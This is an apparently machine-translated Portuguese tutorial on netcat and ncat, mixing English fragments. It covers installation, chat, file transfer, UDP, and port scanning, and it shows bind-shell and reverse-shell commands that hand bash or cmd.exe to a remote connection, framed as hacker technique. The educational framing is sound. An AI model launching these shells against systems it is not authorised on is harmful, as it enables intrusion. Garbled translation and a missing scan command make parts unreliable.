Netcat
Netcat é uma aplicação de terminal semelhante ao programa telnet, mas tem muito mais recursos.
sua “versão power” do programa telnet tradicional.
para além das funções básicas de telnet, pode fazer várias outras coisas, como criar servidores de ‘socket’ para ouvir as ligações recebidas nos portos, transferir ficheiros do terminal, etc.
portanto, é uma pequena ferramenta que é embalado com muitas características., Portanto, é chamado de “canivete do exército suíço para TCP / IP”.
o manual do netcat define o netcat como
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
assim, basicamente o netcat é uma ferramenta para fazer alguma comunicação de rede bidirecional sobre os protocolos TCP/UDP. mais tecnicamente falando, o netcat pode atuar como um servidor de socket ou cliente e interagir com outros programas ao mesmo tempo enviando e recebendo dados através da rede.
tal definição parece demasiado genérica e torna difícil compreender exactamente o que esta ferramenta faz e para que é útil., Isto só pode ser entendido usando e brincando com ele.
Ncat
então a primeira coisa a fazer seria configurar o netcat em sua máquina. Netcat vem em vários sabores. Significa que está disponível de vários fornecedores.
mas a maioria deles tem funcionalidade similar. No Ubuntu existem 3 pacotes chamados netcat-openbsd, netcat-traditional e ncat.
A minha versão preferida é ncat. Ncat foi desenvolvido pela equipe nmap é o melhor de todos os netcats disponíveis e, mais importante, sua plataforma cruzada e funciona muito bem no windows.,
Project website:
Install Ncat on Windows
Windows version of netcat can be downloaded from
Simply download and extract the files somewhere suitable.
ou download ncat windows version
Install Ncat on Ubuntu / Linux Mint / Linux
Ubuntu syntaptic package has netcat-openbsd and netcat-traditional packages available. Instale os dois. Nmap também vem com uma implementação netcat chamada ncat. Instale isso também.,
Install on Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
To use netcat-openbsd implementation use “nc” command.
To use netcat-traditional implementation use ” nc.tradicional “command
To use nmap ncat use the” ncat ” command.
exemplos de comandos do Netcat
no tutorial a seguir vamos usar todos eles em diferentes exemplos de maneiras diferentes.
Telnet
a primeira coisa netcat pode ser usada como é um programa telnet. Vamos ver como.
$ nc -v google.com 80
Agora o netcat Está ligado a google.com no porto 80 e seu tempo para enviar alguma mensagem., Vamos tentar obter a página de índice. Para este tipo “GET index.html HTTP / 1.1 ” e carregue na tecla Enter duas vezes. Lembra-te duas vezes.
A saída de google.com foi recebido e ecoado no terminal.
servidor de ‘socket’ simples
para abrir um tipo de servidor de ‘socket’ simples no seguinte comando.
$ nc -l -v 1234
o comando acima significa : Netcat escuta a porta tcp 1234. A opção-v dá uma saída descritiva para uma melhor compreensão., Agora, a partir de outro terminal, tente se conectar à porta 1234 usando o comando telnet da seguinte forma:
$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong
Depois de se conectar Nós enviamos alguma mensagem de teste como abc e ting tong para o servidor de socket netcat. O servidor de socket netcat fará eco dos dados recebidos do cliente telnet.
$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong
Este é um sistema completo de Conversação. Digite algo no terminal netcat e ele aparecerá no terminal telnet também. Assim, esta técnica pode ser usada para conversar entre 2 máquinas.,
servidor ECHO completo
Ncat com a opção-c pode ser usado para iniciar um servidor echo. Source
Start the echo server using ncat as follows
$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'
Now from another terminal connect using telnet and type something. Será enviado de volta com “” prefixado.
a versão netcat-openbsd não tem a opção-C. Lembre-se de usar sempre a opção-v para a saída descritiva.
Nota: Pode-se dizer ao Netcat para guardar os dados em um arquivo em vez de ecoar no terminal.,
$ nc -l -v 1234 > data.txt
Create UDP Server
Netcat works with udp ports as well. Para iniciar uma netcat server usando portas udp usar a opção-u
$ nc -v -ul 7000
UDP Cliente
Conectar ao servidor usando o netcat a partir de outro terminal
$ nc localhost -u 7000
Agora ambos os terminais podem conversar uns com os outros.
transferência de arquivos
um arquivo inteiro pode ser transferido com o netcat. Aqui está um exemplo rápido.
uma máquina a-Send File
$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555
no comando acima, o comando cat lê e emite o conteúdo do happy.txt., A saída não é ecoada para o terminal, em vez disso é encaminhada ou alimentada para ncat que abriu um servidor de socket na porta 5555.
On machine B-Receive File
$ ncat localhost 5555 > happy_copy.txt
no comando acima, ncat irá ligar-se a localhost na porta 5555 e o que quer que receba será escrito para happy_copy.txt
now happy_copy.txt será uma cópia da happy.txt desde que os dados que estão sendo enviados sobre a porta 5555 é o conteúdo da happy.txt no comando anterior.
Netcat enviará o arquivo apenas para o primeiro cliente que se conecta a ele. Depois disso acabou.,
e depois que o primeiro cliente fecha a conexão, o servidor netcat também fechará a conexão.
varredura de portas
Netcat também pode ser usado para varredura de portas. No entanto, este não é um uso adequado do netcat e uma ferramenta mais aplicável como nmap deve ser usada.
O parâmetro”- n ” Aqui impede a pesquisa de DNS,”- z “faz com que nc não receba quaisquer dados do servidor, e”- w 1 ” faz com que o tempo-limite da conexão após 1 segundo de inatividade.
Shell/Backdoor remoto
Ncat pode ser usado para iniciar uma shell básica em um sistema remoto em uma porta sem a necessidade de ssh., Aqui está um exemplo rápido.
$ ncat -v -l -p 7777 -e /bin/bash
the above will start a server on port 7777 and will pass all incoming input to bash command and the results will be send back. O comando basicamente converte o programa bash em um servidor. Então o netcat pode ser usado para converter qualquer processo em um servidor.
Conectar-se a este shell bash usando nc a partir de outro terminal
$ nc localhost 7777
Agora, tente executar qualquer comando como ajudar , ls , pwd, etc.
Janelas
na máquina do Windows o cmd.,o exe (dos prompt program) é usado para iniciar uma shell similar usando o netcat. A sintaxe do comando é a mesma.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182
Agora outro console pode se conectar usando o comando telnet
Embora o netcat que pode ser usado para configuração remota de conchas, não é útil para obter um shell interativo em um sistema remoto, porque na maioria dos casos, o netcat não devem ser instalados em um sistema remoto.
O método mais eficaz para obter uma shell em uma máquina remota usando o netcat é criando cascas inversas.,
Reverse Shells
esta é a característica mais poderosa do netcat para a qual ele é mais usado pelos hackers. O Netcat é usado em quase todas as técnicas da shell reversa para capturar a conexão reversa do programa shell a partir de um sistema hackeado.
Telnet reversa
primeiro vamos pegar um exemplo de uma conexão telnet reversa simples. Na ligação de telnet, o cliente conecta-se ao servidor para iniciar um canal de comunicação.
Your system runs (# telnet server port_number) =============> Server
agora usando a técnica acima você pode se conectar para dizer porta 80 do servidor para obter uma página web., No entanto, um hacker está interessado em obter uma shell de comando. É a linha de comandos do windows ou o terminal do linux. O comando shell dá o controle final do sistema remoto. Agora não há nenhum serviço em execução no servidor remoto ao qual você pode se conectar e obter uma linha de comandos.então, quando um hacker entra num sistema, ele precisa de uma linha de comandos. Uma vez que não é possível diretamente, a solução é usar uma shell reversa. Em uma shell reversa, o servidor inicia uma conexão com a máquina do hacker e dá uma shell de comando.,
Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine
para esperar por ligações recebidas, um ouvinte de ‘socket’ local tem de ser aberto. O Netcat / ncat pode fazer isso.
primeiro um servidor netcat tem que ser iniciado na máquina local ou na máquina hacker.
computador
$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888
O acima irá iniciar um servidor de socket (ouvinte) na porta 8888 na máquina local/hacker máquina.
agora uma shell reversa tem que ser lançada na máquina alvo/máquina hackeada. Há uma série de maneiras de lançar cascas inversas.,
para qualquer método de trabalho, o hacker precisa ser capaz de executar um comando arbitrário no sistema ou deve ser capaz de carregar um arquivo que pode ser executado abrindo a partir do navegador (como um script php).
neste exemplo não estamos fazendo nenhuma das coisas acima mencionadas. Vamos apenas executar o netcat no servidor também para lançar um shell de comando reverso para demonstrar o conceito. Então o netcat deve ser instalado no servidor ou na máquina de destino.,
a Máquina B :
$ ncat localhost 8888 -e /bin/bash
Este comando irá se conectar a máquina na porta 8888 e de alimentação na saída do bash efetivamente dando um shell para máquina de A. Agora, A máquina pode executar qualquer comando na máquina B.
computador
Em um verdadeiro hacking/testes de penetração cenário não é possível executar o netcat no computador de destino. Portanto, outras técnicas são empregadas para criar uma concha. Estes incluem uploading reverse shell PHP scripts e executá-los, abrindo-os no navegador. Ou lançar uma exploração de estouro de buffer para executar a carga da Shell reversa.,
Conclusion
So in the above examples we saw how to use netcat for different network activities like telnet, reverse shells etc. Os Hackers usam-no para criar conchas reversas rápidas.
neste tutorial nós cobrimos alguns dos usos básicos e comuns do netcat. Confira o artigo da Wikipédia para mais informações sobre o que mais o netcat pode fazer.